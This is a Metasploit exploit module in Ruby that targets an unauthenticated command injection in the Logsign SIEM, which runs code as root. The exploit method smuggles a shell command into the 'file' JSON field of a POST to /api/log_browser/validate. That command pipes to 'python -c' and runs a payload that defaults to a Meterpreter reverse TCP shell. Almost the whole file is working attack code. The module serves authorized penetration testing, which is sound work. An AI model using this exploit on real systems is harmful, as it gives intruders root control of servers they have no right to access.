metasploit-gs/modules/exploits/linux/http/logsign_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Logsign Remote Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in Logsign.
          By exploiting this vulnerability, unauthenticated users can execute
          arbitrary code under the root user.

          Logsign has a publicly accessible endpoint. That endpoint takes a user
          input and then use it during operating system command execution without
          proper validation.

          This module was tested against 4.4.2 and 4.4.137 versions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
        'References' => [
          ['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
        ],
        'Privileged' => true,
        'Platform' => ['python'],
        'Arch' => ARCH_PYTHON,
        'DefaultOptions' => {
          'payload' => 'python/meterpreter/reverse_tcp'
        },
        'Targets' => [ ['Automatic', {}] ],
        'DisclosureDate' => '2017-02-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    p_hash = { :file => "#{rand_text_alpha(15 + rand(4))}.raw" }

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )

    if res && res.body.include?('{"message": "success", "success": true}')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Delivering payload...")

    p_hash = { :file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #" }

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
      'ctype' => 'application/json',
      'data' => JSON.generate(p_hash)
    )
  end
end